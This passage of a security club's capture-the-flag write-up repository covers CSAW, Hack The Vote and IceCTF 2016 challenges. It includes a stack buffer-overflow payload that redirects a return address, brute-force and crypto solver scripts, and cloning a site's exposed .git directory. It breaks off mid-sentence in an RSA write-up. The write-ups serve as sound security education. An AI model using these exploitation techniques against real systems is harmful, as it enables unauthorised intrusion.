~~~ 13 | $ ./rock 14 | asdf 15 | ------------------------------------------- 16 | Quote from people's champ 17 | ------------------------------------------- 18 | *My goal was never to be the loudest or the craziest. It was to be the most entertaining. 19 | *Wrestling was like stand-up comedy for me. 20 | *I like to use the hard times in the past to motivate me today. 21 | ------------------------------------------- 22 | Checking.... 23 | Too short or too long 24 | ~~~ 25 | 26 | By trial and error, I figured out what length of characters it wanted. When 30 characters are entered, it produces a different response. 27 | 28 | ~~~ 29 | 30 | $ perl -e 'print "a"x30' | ./rock 31 | ------------------------------------------- 32 | Quote from people's champ 33 | ------------------------------------------- 34 | *My goal was never to be the loudest or the craziest. It was to be the most entertaining. 35 | *Wrestling was like stand-up comedy for me. 36 | *I like to use the hard times in the past to motivate me today. 37 | ------------------------------------------- 38 | Checking.... 39 | You did not pass 0 40 | ~~~ 41 | 42 | It looks like this program might be checking for some input string and telling us how many characters are correct. Let's test this out. 43 | 44 | ~~~ 45 | $ for c in {a..z} {A..Z}; do echo -n "$c$(perl -e "print 'a'x29")"| ./rock | grep pass; done; 46 | ... 47 | You did not pass 0 48 | You did not pass 0 49 | You did not pass 1 50 | You did not pass 0 51 | You did not pass 0 52 | You did not pass 0 53 | ... 54 | ~~~ 55 | 56 | It looks like that worked. By counting we can tell that the first character is 'I'. Lets write something better to brute force the accepting string for us. 57 | 58 | ~~~python 59 | from subprocess import Popen, STDOUT, PIPE 60 | import re 61 | import string 62 | 63 | charset = [] 64 | for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation: 65 | charset.append(c) 66 | 67 | inStr = list('0'*30) 68 | curIndex = 0 69 | charIndex = 0 70 | 71 | while 1: 72 | p = Popen("./rock", stdout=PIPE, stderr=PIPE, stdin=PIPE) 73 | o = p.communicate(input=''.join(inStr))[0] 74 | m = re.match(".*You did not pass (\d{1,2}).*", o, re.DOTALL) 75 | print ''.join(inStr) 76 | if not m: 77 | print o 78 | exit() 79 | 80 | newIndex = int(m.group(1)) 81 | if newIndex > curIndex: 82 | print charset[charIndex] 83 | curIndex = newIndex 84 | charIndex = 0 85 | continue 86 | 87 | inStr[curIndex] = charset[charIndex] 88 | charIndex = charIndex + 1 89 | ~~~ 90 | 91 | So we run the script... 92 | 93 | ~~~ 94 | $ python solve_python.py 95 | ... 96 | Pass 27 97 | Pass 28 98 | Pass 29 99 | ///////////////////////////////// 100 | Do not be angry. Happy Hacking :) 101 | ///////////////////////////////// 102 | Flag{IoDJuvwxy\tuvyxwxvwzx{\z{vwxyz} 103 | ~~~ 104 | 105 | -------------------------------------------------------------------------------- /csaw2016-quals/rock/rock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/csaw2016-quals/rock/rock -------------------------------------------------------------------------------- /csaw2016-quals/rock/solve_rock.py: -------------------------------------------------------------------------------- 1 | from subprocess import Popen, STDOUT, PIPE 2 | import re 3 | import string 4 | 5 | charset = [] 6 | for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation: 7 | charset.append(c) 8 | 9 | inStr = list('0'*30) 10 | curIndex = 0 11 | charIndex = 0 12 | 13 | while 1: 14 | p = Popen("./rock", stdout=PIPE, stderr=PIPE, stdin=PIPE) 15 | o = p.communicate(input=''.join(inStr))[0] 16 | m = re.match(".*You did not pass (\d{1,2}).*", o, re.DOTALL) 17 | print ''.join(inStr) 18 | if not m: 19 | print o 20 | exit() 21 | 22 | newIndex = int(m.group(1)) 23 | if newIndex > curIndex: 24 | print charset[charIndex] 25 | curIndex = newIndex 26 | charIndex = 0 27 | continue 28 | 29 | inStr[curIndex] = charset[charIndex] 30 | charIndex = charIndex + 1 31 | -------------------------------------------------------------------------------- /csaw2016-quals/warmup/README.md: -------------------------------------------------------------------------------- 1 | # CSAW 2016 Quals 2 | # warmup 3 | ##### Brad Daniels -- USF Whitehatter's Computer Security Club 4 | ##### pwn -- 50 points 5 | ## Description 6 | So you want to be a pwn-er huh? Well let's throw you an easy one ;) 7 | 8 | `nc pwn.chal.csaw.io 8000` 9 | 10 | ## Solution 11 | Warmup gives you a 64-bit ELF binary. When run, it produces the following output and allows the user to enter a string. 12 | ~~~ 13 | sh$ ./warmup 14 | -Warm Up- 15 | WOW:0x40060d 16 | > 17 | sh$ 18 | ~~~ 19 | Each time it's run, it produces the same "WOW" hex value, `0x40060d`. 20 | 21 | Lets open the file in gdb to see what's going on. 22 | 23 | ~~~ 24 | sh$ gdb warmup 25 | (gdb) info functions 26 | All defined functions: 27 | 28 | Non-debugging symbols: 29 | 0x0000000000400488 _init 30 | 0x00000000004004c0 write@plt 31 | 0x00000000004004d0 system@plt 32 | 0x00000000004004e0 __libc_start_main@plt 33 | 0x00000000004004f0 __gmon_start__@plt 34 | 0x0000000000400500 gets@plt 35 | 0x0000000000400510 sprintf@plt 36 | 0x0000000000400520 _start 37 | 0x0000000000400550 deregister_tm_clones 38 | 0x0000000000400580 register_tm_clones 39 | 0x00000000004005c0 __do_global_dtors_aux 40 | 0x00000000004005e0 frame_dummy 41 | 0x000000000040060d easy 42 | 0x000000000040061d main 43 | 0x00000000004006b0 __libc_csu_init 44 | 0x0000000000400720 __libc_csu_fini 45 | 0x0000000000400724 _fini 46 | (gdb) 47 | ~~~ 48 | 49 | The one function that sticks out here is "easy". If we disasemble it we see that it calls `system("cat flag.txt")` 50 | 51 | ~~~ 52 | (gdb) disas easy 53 | Dump of assembler code for function easy: 54 | 0x000000000040060d <+0>: push rbp 55 | 0x000000000040060e <+1>: mov rbp,rsp 56 | 0x0000000000400611 <+4>: mov edi,0x400734 57 | 0x0000000000400616 <+9>: call 0x4004d0 58 | 0x000000000040061b <+14>: pop rbp 59 | 0x000000000040061c <+15>: ret 60 | End of assembler dump. 61 | (gdb) x/s 0x400734 62 | 0x400734: "cat flag.txt" 63 | (gdb) 64 | ~~~ 65 | 66 | The main function ends with a `gets()` call followed by the `leave` and `ret` instructions. Since `gets()` is vulnerable to buffer overflows, we should be able to overwrite the return address of the main function and replace it with the address of "easy". 67 | 68 | Let's set a breakpoint after the call to `gets()`, enter some text, and observe what happens on the stack. 69 | 70 | ~~~ 71 | (gdb) b * 0x00000000004006a3 72 | Breakpoint 1 at 0x4006a3 73 | (gdb) r 74 | Starting program: ./warmup 75 | -Warm Up- 76 | WOW:0x40060d 77 | >aaaaaaaa 78 | 79 | Breakpoint 1, 0x00000000004006a3 in main () 80 | (gdb) p $rbp 81 | $4 = (void *) 0x7fffffffe360 82 | (gdb) p $rsp 83 | $5 = (void *) 0x7fffffffe2e0 84 | (gdb) x/20gz $rsp 85 | 0x7fffffffe2e0: 0x6430363030347830 0x000000000000000a 86 | 0x7fffffffe2f0: 0x0000000000000000 0x0000000000000000 87 | 0x7fffffffe300: 0x0000000000000000 0x0000000000000000 88 | 0x7fffffffe310: 0x0000000000000000 0x0000000000000000 89 | 0x7fffffffe320: 0x6161616161616161 0x0000000000400600 90 | 0x7fffffffe330: 0x0000000000000000 0x0000000000000000 91 | 0x7fffffffe340: 0x00000000004006b0 0x0000000000400520 92 | 0x7fffffffe350: 0x00007fffffffe440 0x0000000000000000 93 | 0x7fffffffe360: 0x00000000004006b0 0x00007ffff7a2e830 94 | 0x7fffffffe370: 0x0000000000000000 0x00007fffffffe448 95 | (gdb) 96 | ~~~ 97 | At `0x7fffffffe360` is the previous stack frame base pointer, and in the following word at `0x7fffffffe368` sits the return address of the `main` function. That is what we need to overwrite. 98 | 99 | Since the current return address is 6 bytes, we need our injected address to overwrite all those bytes. If we don't include two extra null bytes, our return address will wind up being `0x00007fff0040060d`, which will cause a segfault. `gets()` allows us to include null bytes in our string so this should be easy. 100 | 101 | We can use a perl one-liner to easily prepare a suitable injection string. 102 | ~~~ 103 | sh$ perl -e 'print "a"x72; print "\x0d\x06\x40\x00\x00"' > egg.txt 104 | sh$ nc pwn.chal.csaw.io 8000 < egg.txt 105 | -Warm Up- 106 | WOW:0x40060d 107 | >FLAG{LET_US_BEGIN_CSAW_2016} 108 | ~~~ 109 | -------------------------------------------------------------------------------- /csaw2016-quals/warmup/warmup: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/csaw2016-quals/warmup/warmup -------------------------------------------------------------------------------- /hackthevote-2016/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Vote 2016 2 | 3 | [CTF Time](https://ctftime.org/event/345) | [Official Site](https://pwn.voting/) 4 | 5 | [WCSC](https://ctftime.org/team/315) finished with rank 157 out of 1030 teams total 6 | 7 | -------------------------------------------------------------------------------- /hackthevote-2016/vermatrix_supreme/README.md: -------------------------------------------------------------------------------- 1 | # Vermatrix Supreme - [100] Crypto 2 | 3 | **Kevin Orr** - [USF Whitehatters Computer Security Club (WCSC)](https://ctftime.org/team/315) 4 | 5 | 6 | ### Description 7 | 8 | > Working in IT for a campaign is rough; especially when your candidate uses his password as 9 | > the IV for your campaign's proprietary encryption scheme, then subsequently forgets it. 10 | > See if you can get it back for him. The only hard part is, he changes it whenever he feels 11 | > like it. 12 | > 13 | > `nc vermatrix.pwn.democrat 4201` 14 | > 15 | > [handout](https://s3.amazonaws.com/hackthevote/handout.4838bbdb8619b3a581352c628c6b0b86475b94c9519347a520c90cf1822351ae.py) 16 | > 17 | > author's irc nick: negasora 18 | 19 | 20 | ### Examination 21 | 22 | The flag given on line 3 of `handout.py`: `flag{1_sw34r_1F_p30Pl3_4cTu4lLy_TrY_Th1s}`. 23 | No it's not. I wasted my time. 24 | 25 | When the script is run, it outputs the current seed and a 3x3 matrix of integers. 26 | After reading a few times through the script, it becomes apparent that it implements 27 | a [block cipher](https://en.wikipedia.org/wiki/Block_cipher) of sorts. 28 | Since the plaintext and true IV are completely null, the 29 | [mode of operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) could be 30 | classified as a CBC, PCBC, CFB, or OFB (and possibly others). In addition, every block of 31 | ciphertext except the last is ignored. Regardless, examining the function `chall()`, 32 | it is characterized by the following relationship: 33 | 34 | C[0] := zeros() 35 | C[i] := E(C[i-1], key[i]) 36 | 37 | where `E(C, k)` is the block cipher, `key[0] := IV`, and `key[1:] := seed`. 38 | 39 | Examining the block cipher in the function `fixmatrix(matrixa, matrixb)`, specifically line 33: 40 | 41 | out[cn][rn] = (int(matrixa[rn][cn])|int(matrixb[cn][rn]))&~(int(matrixa[rn][cn])&int(matrixb[cn][rn])) 42 | 43 | If we extend the bitwise operations `|`, `&`, and `~` so that they can operate elementwise 44 | on a matrix, we can rewrite the assignment above in the psuedocode: 45 | 46 | out = (transpose(matrixa) | matrixb) & ~(transpose(matrixa) & matrixb) 47 | 48 | It's immediately apparent that this "encryption cipher" is a simple `xor`, i.e. 49 | 50 | out = transpose(matrixa) ^ matrixb 51 | 52 | 53 | ### Solution 54 | 55 | We can rewrite the relationships before with this new knowledge: 56 | 57 | C[0] := zeros() 58 | C[i] := xor(C[i-1], key[i]) 59 | 60 | This means that 61 | 62 | C[i-1] := xor(C[i], key[i]) 63 | 64 | Also: 65 | 66 | C[i-1] := xor(C[i], key[i]) 67 | key[i] := xor(C[i], C[i-1]) 68 | key[0] (=IV) := xor(C[1], C[0]) = xor(C[1], zeros()) = C[1] 69 | 70 | 71 | So our solution is simple: `xor` the end of the key to the result matrix, use that result 72 | as the new end of the key, and recurse, until reaching C[1], which should equal the IV! 73 | Running [`sol.py`](sol.py) reverses the encryption and obtains the IV. It then sends this 74 | IV (encoded as a string of comma-delimited integers) and outputs the flag that the server 75 | sends back. 76 | 77 | ### Flag 78 | 79 | `flag{IV_wh4t_y0u_DiD_Th3r3}` 80 | -------------------------------------------------------------------------------- /hackthevote-2016/vermatrix_supreme/handout.py: -------------------------------------------------------------------------------- 1 | import sys, random, time 2 | 3 | flag = "flag{1_sw34r_1F_p30Pl3_4cTu4lLy_TrY_Th1s}" 4 | 5 | def printmat(matrix): 6 | for row in matrix: 7 | for value in row: 8 | print value, 9 | print "" 10 | print "" 11 | 12 | 13 | def pad(s): 14 | if len(s)%9 == 0: 15 | return s 16 | for i in xrange((9-(len(s)%9))): 17 | s.append(0) 18 | return s 19 | 20 | def genBlockMatrix(s): 21 | outm = [[[7 for x in xrange(3)] for x in xrange(3)] for x in xrange(len(s)/9)] 22 | for matnum in xrange(0,len(s)/9): 23 | for y in xrange(0,3): 24 | for x in xrange(0,3): 25 | outm[matnum][y][x] = s[(matnum*9)+x+(y*3)] 26 | return outm 27 | 28 | 29 | def fixmatrix(matrixa, matrixb): 30 | out = [[0 for x in xrange(3)] for x in xrange(3)] 31 | for rn in xrange(3): 32 | for cn in xrange(3): 33 | out[cn][rn] = (int(matrixa[rn][cn])|int(matrixb[cn][rn]))&~(int(matrixa[rn][cn])&int(matrixb[cn][rn])) 34 | return out 35 | 36 | 37 | def chall(): 38 | IV = [c for c in '?????????'] 39 | seed = "??????????????????" 40 | 41 | 42 | blocks = genBlockMatrix(pad(IV + [ord(c) for c in seed])) 43 | 44 | res = [[0 for i in xrange(3)] for i in xrange(3)] 45 | for i in xrange(len(blocks)): 46 | res = fixmatrix(res, blocks[i]) 47 | 48 | 49 | print "SEED: " + str(seed) 50 | printmat(res) 51 | 52 | data = raw_input("") 53 | 54 | data = data.replace(' ', '').strip().split(',') 55 | 56 | if len(data) != 9: 57 | return False 58 | 59 | for i in xrange(len(IV)): 60 | if str(IV[i]) != str(data[i]): 61 | return False 62 | 63 | return True 64 | 65 | 66 | if chall(): 67 | print flag 68 | 69 | -------------------------------------------------------------------------------- /hackthevote-2016/vermatrix_supreme/sol.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import re 5 | import itertools 6 | import sys 7 | 8 | # From https://docs.python.org/3/library/itertools.html#itertools-recipes 9 | def grouper(iterable, n, fillvalue=None): 10 | "Collect data into fixed-length chunks or blocks" 11 | # grouper('ABCDEFG', 3, 'x') --> ABC DEF Gxx 12 | args = [iter(iterable)] * n 13 | return itertools.zip_longest(*args, fillvalue=fillvalue) 14 | 15 | def xor(mat_a, mat_b): 16 | res = [[0]*3 for i in range(3)] 17 | for col in range(3): 18 | for row in range(3): 19 | res[row][col] = mat_a[row][col] ^ mat_b[row][col] 20 | 21 | return res; 22 | 23 | # matrix transpose 24 | def t(mat): 25 | return [list(row) for row in zip(*mat)] 26 | 27 | # Connect 28 | s = socket.socket() 29 | s.connect(('vermatrix.pwn.democrat', 4201)) 30 | 31 | # Get challenge text 32 | text = s.recv(4096).decode('utf-8') 33 | print(text, end='\n') 34 | 35 | # Get seed 36 | seed = re.match('SEED: (.+)', text.split('\n')[0]).groups()[0] 37 | print('seed: {}'.format(seed)) 38 | seed_mats = [[[0]*3 for i in range(3)] for j in range(len(seed)//9)] 39 | for mat in range(len(seed)//9): 40 | for row in range(3): 41 | for col in range(3): 42 | seed_mats[mat][row][col] = ord(seed[mat*9 + row*3 + col]) 43 | print('seed matrices: {}'.format(seed_mats)) 44 | 45 | # Get encoded result into block 46 | encoded = [[int(i) for i in line.split()] for line in text.rstrip('\n').split('\n')[1:]] 47 | print('encoded result given to us: {}'.format(encoded)) 48 | 49 | 50 | # Get IV 51 | current_block = encoded 52 | for seed_block in reversed(seed_mats): 53 | current_block = t(xor(current_block, seed_block)) 54 | print('\nhopefully the IV: {}'.format(current_block)) 55 | 56 | # Encode IV 57 | encoded_iv = ','.join(str(i) for i in list(itertools.chain(*current_block))) 58 | print('encoded IV: {}'.format(repr(encoded_iv))) 59 | 60 | s.send((encoded_iv + '\n').encode('utf-8')) 61 | print(s.recv(4096).decode('utf-8')) 62 | -------------------------------------------------------------------------------- /hackthevote-2016/warp_speed/README.md: -------------------------------------------------------------------------------- 1 | # Warp Speed - [150] Forensics 2 | 3 | **Kevin Orr** - [USF Whitehatter's Computer Security Club](https://ctftime.org/team/315) 4 | 5 | ### Description 6 | 7 | > Our Trump advertising campaign is incredible, it's skyrocketing! It's astronomical! Wait stop!! SLOW DOWN!!! 8 | > 9 | > [warp_speed.jpg](https://s3.amazonaws.com/hackthevote/warp_speed.5978d1405660e365872cf72dddc7515603f657f12526bd61e56feacf332cccad.jpg) 10 | 11 | ### Solution 12 | 13 | We are given the following image: 14 | 15 | ![warp_speed.jpg](warp_speed.jpg) 16 | 17 | The name "Trump" is visible on the image, though the entire image seems to be askew. It appears that individual "strips" (size 504x8) 18 | of the image have been reflowed into an image of size 1000x250. Using the python library [pillow](https://python-pillow.org/), 19 | this image can be relowed so that each strip is directly below the one on top, and with no hoizontal shift. [`sol.py`](sol.py) 20 | accomplishes this transformation and outputs the following image: 21 | 22 | ![warp_speed_fixed.jpg](warp_speed_fixed.jpg) 23 | 24 | ### Flag 25 | 26 | `flag{1337_ph0t0_5k1lls}` 27 | -------------------------------------------------------------------------------- /hackthevote-2016/warp_speed/flag: -------------------------------------------------------------------------------- 1 | flag{1337_ph0t0_5k1lls} 2 | -------------------------------------------------------------------------------- /hackthevote-2016/warp_speed/sol.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import math 4 | from PIL import Image 5 | 6 | STRIP_WIDTH = 504 7 | STRIP_HEIGHT = 8 8 | 9 | def unwrap(im, strip_height=STRIP_HEIGHT): 10 | out_im = Image.new(im.mode, (int(math.ceil(im.size[0]*im.size[1]/strip_height)), strip_height)) 11 | 12 | line = 0 13 | while line * strip_height < im.size[1]: 14 | rect = im.crop((0, line * strip_height, im.size[0], (line+1) * strip_height)) 15 | rect.load() 16 | out_im.paste(rect, (line * im.size[0], 0, (line+1) * im.size[0], strip_height)) 17 | 18 | line += 1 19 | 20 | return out_im 21 | 22 | def collate(im, strip_width=STRIP_WIDTH, strip_height=STRIP_HEIGHT): 23 | out_im = Image.new(im.mode, (strip_width, int(math.ceil(im.size[0]/strip_width)) * strip_height)) 24 | 25 | line = 0 26 | while line * strip_width < im.size[0]: 27 | rect = im.crop((line * strip_width, 0, (line+1) * strip_width, strip_height)) 28 | rect.load() 29 | out_im.paste(rect, (0, line * strip_height, strip_width, (line+1) * strip_height)) 30 | 31 | line += 1 32 | 33 | return out_im 34 | 35 | image = Image.open('warp_speed.jpg') 36 | fixed_image = collate(unwrap(image)).rotate(90) 37 | fixed_image.save('warp_speed_fixed.jpg') 38 | 39 | -------------------------------------------------------------------------------- /hackthevote-2016/warp_speed/warp_speed.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/hackthevote-2016/warp_speed/warp_speed.jpg -------------------------------------------------------------------------------- /hackthevote-2016/warp_speed/warp_speed_fixed.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/hackthevote-2016/warp_speed/warp_speed_fixed.jpg -------------------------------------------------------------------------------- /icectf-2016/Exposed/README.md: -------------------------------------------------------------------------------- 1 | # IceCTF 2016 - Exposed 2 | ### Solution By: Nullp0inter 3 | 4 | # Exposed! Web 60pts 5 | John is pretty happy with himself, he just made his first website! He used all the hip and cool systems, like NginX, PHP and Git! Everyone is so happy for him, but can you get him to give you the flag? 6 | 7 | # Solution: 8 | This one was pretty easy if you knew that git was the vulnerability. We are given a site and told its running php, nginx, and git but 9 | if you visit the site and attempt to the /.git path, the url changes and gives you a little message but it turns out thats not enough 10 | to stop you if you knew what you were looking for. Because this site had a public facing .git directory we can simply git clone the site by running 11 | `git clone http://exposed.vuln.icec.tf/.git`. Now you have some options here: You can do this challenge the hardway by manually reverting to older revisions 12 | and grepping all files for the flag, but you'll come up with two fake flags that way, *ORRRRR* the better way is to just use gitg and look through the changes and in 13 | the revision with the comment "added colors", in index.php you can see the flag `IceCTF{secure_y0ur_g1t_repos_pe0ple}`. 14 | -------------------------------------------------------------------------------- /icectf-2016/IRC1/README.md: -------------------------------------------------------------------------------- 1 | # IceCTF 2016 2 | ## Solution By: Nullp0inter 3 | 4 | # IRC 1 Misc 35pts 5 | There is someone sharing flags on our IRC server, can you find him and stop him? glitch.is:6667 6 | 7 | # Solution: 8 | We are told someone is sharing flags on the IRC server and we are asked to find him. All you need to 9 | do is log into the IRC (easily done via their web client) and run a whois query on Glitch, 10 | the creator of the challenge: 11 | 12 | ``` 13 | Glitch (~Glitch@localhost): Hlynur 14 | Glitch is on the following channels: @#78a99bb_flagshare @#IceCTF @#Glitch 15 | Glitch is connected to irc.glitch.is 16 | Glitch is away (Auto away at Sat Aug 27 00:27:01 2016) 17 | ``` 18 | 19 | Hmm, he is an op over at `#78a99bb_flagshare`. Odd, let's join that with `/join #78a99bb_flagshare`. 20 | Once you join look at the channel topic: 21 | 22 | ``` 23 | The topic is: Want flags? We got 'em! IceCTF{pL3AsE_D0n7_5h4re_fL495_JUsT_doNT} 24 | ``` 25 | 26 | Flag: `IceCTF{pL3AsE_D0n7_5h4re_fL495_JUsT_doNT}` 27 | -------------------------------------------------------------------------------- /icectf-2016/IRC2/README.md: -------------------------------------------------------------------------------- 1 | # IceCTF 2016 2 | ## Solution By: Nullp0inter 3 | 4 | # IRC 2 -Misc- 60pts 5 | Can you trick our IRC bot into giving you his flag? Talk to IceBot on glitch.is:6667. Please only send him private messages, you do this by writing /msg IceBot !command. the "help" command has been removed so here is the output from !help. Please consider that he may be slow to respond or the command you're trying may not work. 6 | 7 | # Solution: 8 | 9 | So we are told once again to return to the IRC to see if we can trick him into giving us the flag. 10 | They gave us a text file that lists all of the commands (this is due to a sopel bug where too many 11 | requests to the help command can actually "DDoS" the bot). Taking a look at the list we see a command 12 | that should probably stand out to everyone, `!flag`. If we go to IRC and try to just message him this 13 | as we are told to do it, `/msg IceBot !flag`, he will spit back an ugly looking python error: 14 | 15 | ``` 16 | KeyError: Identifier('nullp0inter') (file "/usr/local/lib/python2.7/dist-packages/sopel/module.py", line 321, in guarded) 17 | ``` 18 | 19 | Now I am sure this is where a TON of people got stuck (considering this had under 200 solves) and, 20 | like me initially, ran off to research the bots backend and sopel. If you searched long enough and 21 | happened to be paying attention, you would find the error is related to you not having permissions, 22 | i.e. not being OP. You could also waited for someone to forget the part about PM'ing the bot and try 23 | to issue !flag in the channel (which happened quite a bit) and you would see: 24 | 25 | ``` 26 | 06:66 nullp0inter !flag 27 | 06:66 +IceBot I'm sorry, you're not a channel operator 28 | ``` 29 | 30 | Not a channel OP? Easy fix, simply join a selfnamed channel, for me that is `/join nullp0inter` then 31 | invite the bot to it, `/invite IceBot`. IceBot should then join your channel where you are an OP. 32 | All thats left to do is issue `!flag` and presto: 33 | 34 | ``` 35 | nullp0inter !flag 36 | IceBot IceCTF{H3Re_y0U_9O_M4s7Er_m4kE_5uR3_yOU_K33P_iT_54F3} 37 | ``` 38 | 39 | There is the flag: 40 | `IceCTF{H3Re_y0U_9O_M4s7Er_m4kE_5uR3_yOU_K33P_iT_54F3}` 41 | _____ 42 | **_NOTE_** I have seen a few people quite literally joined my channel on glitch.is and try `!flag`. Please note that if you 43 | *literally* try `/join nullp0inter` you will literally be joining a channel with me that I am the sole op of. Instead as I 44 | mentioned you should do a `/join ` where name is **_your_** username. That is to say that if your nick on the IRC is 45 | `xxmlgsniper420yolo` then the command you'll want to use is `/join xxmlgsniper420yolo`. Hopefully this clears up any confusion 46 | 47 | **_ALTERNATIVELY_** You can simply join a nonsense channel and hope that you were the first to attempt to join such a channel. 48 | One example that I did, and please don't try this one as I am already the op of it, is `/join #binsoutforharambe`. If you try nonsense 49 | names for the channel, chances are you'll probably have been the first to do it. The idea is that when you join the channel, you 50 | are listed as an `Operator`. If you are not listed as an `Operator` IceBot will tell you so and refuse to give you the flag. 51 | -------------------------------------------------------------------------------- /icectf-2016/Over-the-Hill/OverTheHill.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import numpy as np 3 | import math 4 | from numpy import linalg 5 | 6 | def modMatInv(A,p): # Finds the inverse of matrix A mod p 7 | n=len(A) 8 | A=np.matrix(A) 9 | adj=np.zeros(shape=(n,n)) 10 | for i in range(0,n): 11 | for j in range(0,n): 12 | adj[i][j]=((-1)**(i+j)*int(round(linalg.det(minor(A,j,i)))))%p 13 | return (modInv(int(round(linalg.det(A))),p)*adj)%p 14 | 15 | def modInv(a,p): # Finds the inverse of a mod p, if it exists 16 | for i in range(1,p): 17 | if (i*a)%p==1: 18 | return i 19 | raise ValueError(str(a)+" has no inverse mod "+str(p)) 20 | 21 | def minor(A,i,j): # Return matrix A with the ith row and jth column deleted 22 | A=np.array(A) 23 | minor=np.zeros(shape=(len(A)-1,len(A)-1)) 24 | p=0 25 | for s in range(0,len(minor)): 26 | if p==i: 27 | p=p+1 28 | q=0 29 | for t in range(0,len(minor)): 30 | if q==j: 31 | q=q+1 32 | minor[s][t]=A[p][q] 33 | q=q+1 34 | p=p+1 35 | return minor 36 | 37 | 38 | alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}" 39 | mod = len(alphabet) 40 | 41 | matrix = [[54, 53, 28, 20, 54, 15, 12, 7], 42 | [32, 14, 24, 5, 63, 12, 50, 52], 43 | [63, 59, 40, 18, 55, 33, 17, 3], 44 | [63, 34, 5, 4, 56, 10, 53, 16], 45 | [35, 43, 45, 53, 12, 42, 35, 37], 46 | [20, 59, 42, 10, 46, 56, 12, 61], 47 | [26, 39, 27, 59, 44, 54, 23, 56], 48 | [32, 31, 56, 47, 31, 2, 29, 41]] 49 | 50 | ciphertext = "7Nv7}dI9" + "hD9qGmP}" + "CR_5wJDd" + "kj4CKxd4" + "5rko1cj5" + "1DpHPnND" + "b__EXDot" + "SRCP8ZCQ" 51 | 52 | ct = [ciphertext[i:i+8] for i in range(0, len(ciphertext), 8)] 53 | 54 | mm = np.matrix(matrix) 55 | mi = modMatInv(matrix, mod) 56 | 57 | 58 | c = np.matrix([[alphabet.index(x) for x in c] for c in ct]).tolist() 59 | ctrans = np.matrix(c).transpose().tolist() 60 | 61 | 62 | def solve(strng): 63 | msg = np.matrix([alphabet.index(c) for c in strng]).transpose() 64 | msg = np.remainder(np.dot(mi, msg), mod).tolist() 65 | 66 | flag = "" 67 | for x in [alphabet[int(c[0])] for c in msg]: 68 | flag += x 69 | return flag 70 | 71 | flag = "" 72 | for x in ct: 73 | flag += solve(x) 74 | 75 | print flag 76 | -------------------------------------------------------------------------------- /icectf-2016/RSA1/README.md: -------------------------------------------------------------------------------- 1 | # IceCTF RSA 1 2 | ### Solved By: Nullp0inter 3 | 4 | # RSA? Cryptography 50pts 5 | John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt 6 | 7 | # Solution 8 | We are provided a file, `flag.txt` which contains three variables for RSA encryption: 9 | 10 | ``` 11 | N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd 12 | 13 | e=0x1 14 | 15 | c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d 16 | ``` 17 | 18 | `N` is known as the public modulus and is defined as `N = p * q` where `p` and `q` are two prime numbers. `e` is known as the public exponent and is used in both encryption and decrypting. `c` is what is called the cipher text and is the encrypted message we are trying to break, containing of course the flag. 19 | 20 | This challenge has a trick to it that is pretty obvious if you know two things: firstly how RSA 21 | encryption is decrypted and secondly how the modulus operator works when we have `A mod B` where 22 | `B` is larger than `A`, in which case the result is just `A`. 23 | 24 | Looking at the [wikipedia page](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) for RSA we can see 25 | that decryption is done with the private key exponent, `d`. With a little more reading we can also 26 | see that `ed = 1 mod phi` and that `phi = p * q`. Based on that math we know that phi is going to 27 | pretty darn big considering how large `N` is. Now you could actually bother factoring `N` to get 28 | `p` and `q` (for which I recommend using [yafu](https://sourceforge.net/projects/yafu/))but if you 29 | see the trick here you don't even need that! 30 | 31 | Remember what I mentioned about modulus when the right number is way bigger than the left? 32 | Well here we have `ed = 1 mod phi`. We were already *told* that `e = 0x1` which is just `1` so we 33 | sub that in and now we have `d = 1 mod phi`. Well `phi` is *way* bigger than 1, so the result is 34 | just `d = 1`. Great we have `d` so now what? Again there is an easy way and a hard way here. 35 | Sure you can read the math on the wikipedia page (or elsewhere) and decrypt it manually...*OR* you 36 | can simply use this [online RSA calculator](http://nmichaels.org/rsa.py "Online RSA Tool") and put 37 | `d` and `c` in the correct places (making sure to tick the C has a hex string option under the text 38 | box and remove the 0x from the fron), then click 'decrypt'. 'WAIT A SECOND' I can hear some of you 39 | scream, 'it just returned a bunch of hex!'. 40 | 41 | ``` 42 | 0x49 0x63 0x65 0x43 0x54 0x46 0x7b 0x66 0x61 0x6c 0x6c 0x73 0x5f 0x61 0x70 0x61 0x72 0x74 0x5f 0x73 0x6f 0x5f 0x65 0x61 0x73 0x69 0x6c 0x79 0x5f 0x61 0x6e 0x64 0x5f 0x72 0x65 0x61 0x73 0x73 0x65 0x6d 0x62 0x6c 0x65 0x64 0x5f 0x73 0x6f 0x5f 0x63 0x72 0x75 0x64 0x65 0x6c 0x79 0x7d 43 | ``` 44 | 45 | Well fret not, even though the 